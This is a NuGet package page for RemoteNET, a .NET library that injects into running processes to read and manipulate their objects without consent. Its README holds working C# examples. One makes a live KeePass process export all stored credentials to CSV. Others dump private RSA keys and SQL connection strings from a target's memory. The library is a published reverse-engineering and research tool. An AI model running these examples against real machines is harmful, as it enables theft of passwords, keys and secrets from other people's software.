RemoteNET 1.0.3.1

dotnet add package RemoteNET --version 1.0.3.1
NuGet\Install-Package RemoteNET -Version 1.0.3.1
This command is intended to be used within the Package Manager Console in Visual Studio, as it uses the NuGet module's version of Install-Package.
<PackageReference Include="RemoteNET" Version="1.0.3.1" />
For projects that support PackageReference, copy this XML node into the project file to reference the package.
paket add RemoteNET --version 1.0.3.1
#r "nuget: RemoteNET, 1.0.3.1"
#r directive can be used in F# Interactive and Polyglot Notebooks. Copy this into the interactive tool or source code of the script to reference the package.
// Install RemoteNET as a Cake Addin
#addin nuget:?package=RemoteNET&version=1.0.3.1

// Install RemoteNET as a Cake Tool
#tool nuget:?package=RemoteNET&version=1.0.3.1

icon

RemoteNET NuGet

This library lets you examine, create and interact with remote objects in other .NET processes.
The target app doesn't need to be explicitly compiled (or consent) to support it.

Basically this library lets you mess with objects of any other .NET app without asking for permissions 😃

👉 Try It Now: Download the RemoteNET Spy app to see this lib in action! 👈

Supported Targets

✅ .NET 5/6/7
✅ .NET Core 3.0/3.1
✅ .NET Framework 4.5/4.6/4.7/4.8 (incl. subversions)
✅ MSVC-compiled C++ (experimental)

Including the library in your project

There are 2 ways to get the library:

  1. Get it from NuGet
    -or-
  2. Clone this repo, compile then reference RemoteNET.dll and ScubaDiver.API.dll in your project.

Compiling

  1. Clone
  2. Initialize git modules (For detours.net)
  3. Launch "x64 Native Tools Command Prompt for VS 2022"
  4. cd <<your RemoteNET repo path>>\src
  5. mkdir detours_build
  6. cd detours_build
  7. cmake ..\detours.net
  8. Open RemoteNET.sln in Visual Studio
  9. Compile the RemoteNET project

Minimal Working Example

To get the essence of how easy and usefull this library can be, see below a re-implementation of denandz/KeeFarce.
This example interacts with an open KeePass process and makes it export all credentials to a CSV file.

// Gain foothold within the target process
RemoteApp remoteApp = RemoteAppFactory.Connect("KeePass.exe", RuntimeType.Managed);
RemoteActivator rActivator = remoteApp.Activator;

// Get a remote DocumentManagerEx object
IEnumerable<CandidateObject> candidates = remoteApp.QueryInstances("KeePass.UI.DocumentManagerEx");
RemoteObject remoteDocumentManagerEx = remoteApp.GetRemoteObject(candidates.Single());
dynamic dynamicDocumentManagerEx = remoteDocumentManagerEx.Dynamify();

// Get sensitive properties to dump
dynamic activeDb = dynamicDocumentManagerEx.ActiveDatabase;
dynamic rootGroup = activeDb.RootGroup;

// Create remote PwExportInfo object (Call Ctor)
RemoteObject pwExportInfo = rActivator.CreateInstance("KeePass.DataExchange.PwExportInfo", rootGroup, activeDb, true);

// Create remote KeePassCsv1x (Call Ctor)
RemoteObject keePassCsv1x = rActivator.CreateInstance("KeePass.DataExchange.Formats.KeePassCsv1x");
dynamic dynamicCsvFormatter = keePassCsv1x.Dynamify();

// Creating a remote FileStream object
string tempOutputFile = Path.ChangeExtension(Path.GetTempFileName(), "csv");
RemoteObject exportFileStream = rActivator.CreateInstance(typeof(FileStream), tempOutputFile, FileMode.Create);

// Calling Export method of exporter
dynamicCsvFormatter.Export(pwExportInfo, exportFileStream, null);

// Showing results in default CSV editor.
Console.WriteLine($"Output written to: {tempOutputFile}");
Process.Start(tempOutputFile);

How To Use

This section documents most parts of the library's API which you'll likely need.

✳️ Setup

To start playing with a remote process you need to create a RemoteApp object like so:

// For .NET targets
RemoteApp remoteApp = RemoteAppFactory.Connect("MyDotNetTarget.exe", RuntimeType.Managed);
// For MSVC C++ target
RemoteApp remoteApp = RemoteAppFactory.Connect("MyNativeTarget.exe", RuntimeType.Unmanaged);

If you have multiple processes running with the same name,
you can use the overload Connect(System.Diagnostics.Process p, RuntimeType r).

✳️ Getting Existing Remote Objects

First and foremost RemoteNET allows you to find existing objects in the remote app.
To do so you'll need to search the remote heap.
Use RemoteApp.QueryInstances() to find possible candidate for the desired object and RemoteApp.GetRemoteObject() to get a handle of a candidate.

IEnumerable<CandidateObject> candidates = remoteApp.QueryInstances("MyApp.PasswordContainer");
RemoteObject passwordContainer = remoteApp.GetRemoteObject(candidates.Single());

✳️ Creating New Remote Objects

Sometimes the existing objects in the remote app are not enough to do what you want.
For this reason you can also create new objects remotely.
Use the Activator-lookalike for that cause:

// Creating a remote StringBuilder with default constructor
RemoteObject remoteSb1 = remoteApp.Activator.CreateInstance(typeof(StringBuilder));

// Creating a remote StringBuilder with the "StringBuilder(string, int)" ctor
RemoteObject remoteSb2 = remoteApp.Activator.CreateInstance(typeof(StringBuilder), "Hello", 100);

Note how we used constructor arguments in the second CreateInstance call. Those could also be other RemoteObjects:

// Constructing a bew StringBuilder
RemoteObject remoteStringBuilder = remoteApp.Activator.CreateInstance(typeof(StringBuilder));
// Constructing a new StringWriter using the "StringWriter(StringBuilder sb)" ctor
RemoteObject remoteStringWriter = remoteApp.Activator.CreateInstance(typeof(StringWriter), remoteStringBuilder);

✳️ Reading Remote Fields/Properties

To allow a smooth coding expereince RemoteNET is utilizing a special dynamic object which any RemoteObject can turn into.
This object can be used to access field/properties just if they were field/properties of a local object:

// Reading the 'Capacity' property of a newly created StringBuilder
RemoteObject remoteStringBuilder = remoteApp.Activator.CreateInstance(typeof(StringBuilder));
dynamic dynamicStringBuilder = remoteStringBuilder.Dynamify();
Console.WriteLine("Remote StringBuilder's Capacity: " + dynamicStringBuilder.Capacity)

A more interesting example would be retrieving the ConnectionStrings of every SqlConnection instance:

var sqlConCandidates = remoteApp.QueryInstances(typeof(SqlConnection));
foreach (CandidateObject candidate in sqlConCandidates)
{
    RemoteObject remoteSqlConnection = remoteApp.GetRemoteObject(candidate);
    dynamic dynamicSqlConnection = remoteSqlConnection.Dynamify();
    Console.WriteLine("ConnectionString: " + dynamicSqlConnection.ConnectionString);
}

✳️ Invoking Remote Methods

Just like accessing fields, invoking methods can be done on the dynamic objects.
This fun example dumps all private RSA keys (which are stored in RSACryptoServiceProviders) found in the target's memory:

Func<byte[], string> ToHex = ba => BitConverter.ToString(ba).Replace("-", "");

// Finding every RSACryptoServiceProvider instance
var rsaProviderCandidates = remoteApp.QueryInstances(typeof(RSACryptoServiceProvider));
foreach (CandidateObject candidateRsa in rsaProviderCandidates)
{
    RemoteObject rsaProv = remoteApp.GetRemoteObject(candidateRsa);
    dynamic dynamicRsaProv = rsaProv.Dynamify();
    // Calling remote `ExportParameters`.
    // First parameter (true) indicates we want the private key.
    Console.WriteLine(" * Key found:");
    dynamic parameters = dynamicRsaProv.ExportParameters(true);
    Console.WriteLine("Modulus: " + ToHex(parameters.Modulus));
    Console.WriteLine("Exponent: " + ToHex(parameters.Exponent));
    Console.WriteLine("D: " + ToHex(parameters.D));
    Console.WriteLine("P: " + ToHex(parameters.P));
    Console.WriteLine("Q: " + ToHex(parameters.Q));
    Console.WriteLine("DP: " + ToHex(parameters.DP));
    Console.WriteLine("DQ: " + ToHex(parameters.DQ));
    Console.WriteLine("InverseQ: " + ToHex(parameters.InverseQ));
}

✳️ Remote Events

You can also subscribe to/unsubscribe from remote events. The syntax is similar to "normal C#" although not exact:

CandidateObject cand = remoteApp.QueryInstances("System.IO.FileSystemWatcher").Single();
RemoteObject remoteFileSysWatcher = remoteApp.GetRemoteObject(cand);
dynamic dynFileSysWatcher = remoteFileSysWatcher.Dynamify();
Action<dynamic, dynamic> callback = (dynamic o, dynamic e) => Console.WriteLine("Event Invoked!");
dynFileSysWatcher.Changed += callback;
/* ... Somewhere further ... */
dynFileSysWatcher.Changed -= callback;

The limitations:

  1. The parameters for the callback must be dynamics
  2. The callback must define the exact number of parameters for that event
  3. Lambda expression are not allowed. The callback must be cast to an Action<...>.

TODOs

  1. Static members
  2. Document "Reflection API" (RemoteType, RemoteMethodInfo, ... )
  3. Support other .NET framework CLR versions (Before .NET 4). Currently supports v4.0.30319
  4. Document Harmony (prefix/postfix/finalizer hooks)
  5. Support more Harmony features

Thanks

denandz for his interesting project KeeFarce which was a major inspiration for this project.
Also, multiple parts of this project are directly taken from KeeFarce (DLL Injection, Bootstrap, IntPtr-to-Object converter).

icons8 for the "Puppet" icon

Raymond Chen for stating this project shouldn't be done in this blog post from 2010.
I really like this qoute from the post:

If you could obtain all instances of a type, the fundamental logic behind computer programming breaks down. It effectively becomes impossible to reason about code because anything could happen to your objects at any time.

Product Compatible and additional computed target framework versions.
.NET net7.0 is compatible.  net7.0-android was computed.  net7.0-ios was computed.  net7.0-maccatalyst was computed.  net7.0-macos was computed.  net7.0-tvos was computed.  net7.0-windows was computed.  net8.0 was computed.  net8.0-android was computed.  net8.0-browser was computed.  net8.0-ios was computed.  net8.0-maccatalyst was computed.  net8.0-macos was computed.  net8.0-tvos was computed.  net8.0-windows was computed. 
Compatible target framework(s)
Included target framework(s) (in package)
Learn more about Target Frameworks and .NET Standard.

NuGet packages

This package is not used by any NuGet packages.

GitHub repositories

This package is not used by any popular GitHub repositories.

Version Downloads Last updated
1.0.3.1 110 2/17/2024
1.0.2.27 98 2/10/2024
1.0.2.15 92 1/29/2024
1.0.2.14 227 12/1/2023
1.0.2.4 173 9/1/2023
1.0.2.3 147 8/31/2023
1.0.2.2 197 8/4/2023
1.0.2 167 5/26/2023
1.0.1.28 204 4/12/2023
1.0.1.27 195 4/12/2023
1.0.1.26 271 2/3/2023
1.0.1.25 284 12/29/2022
1.0.1.24 277 12/24/2022
1.0.1.23 314 12/9/2022
1.0.1.22 304 11/18/2022
1.0.1.21 341 11/12/2022
1.0.1.20 307 11/9/2022
1.0.1.19 359 11/5/2022
1.0.1.18 346 11/5/2022
1.0.1.17 344 11/1/2022
1.0.1.16 345 11/1/2022
1.0.1.15 370 10/9/2022
1.0.1.14 360 10/5/2022
1.0.1.13 417 9/27/2022
1.0.1.11 444 3/5/2022
1.0.1.10 388 3/5/2022
1.0.1.9 426 2/21/2022
1.0.1.8 402 2/20/2022
1.0.1.7 413 2/20/2022
1.0.1.6 422 2/11/2022
1.0.1.5 420 1/24/2022
1.0.1.4 278 12/31/2021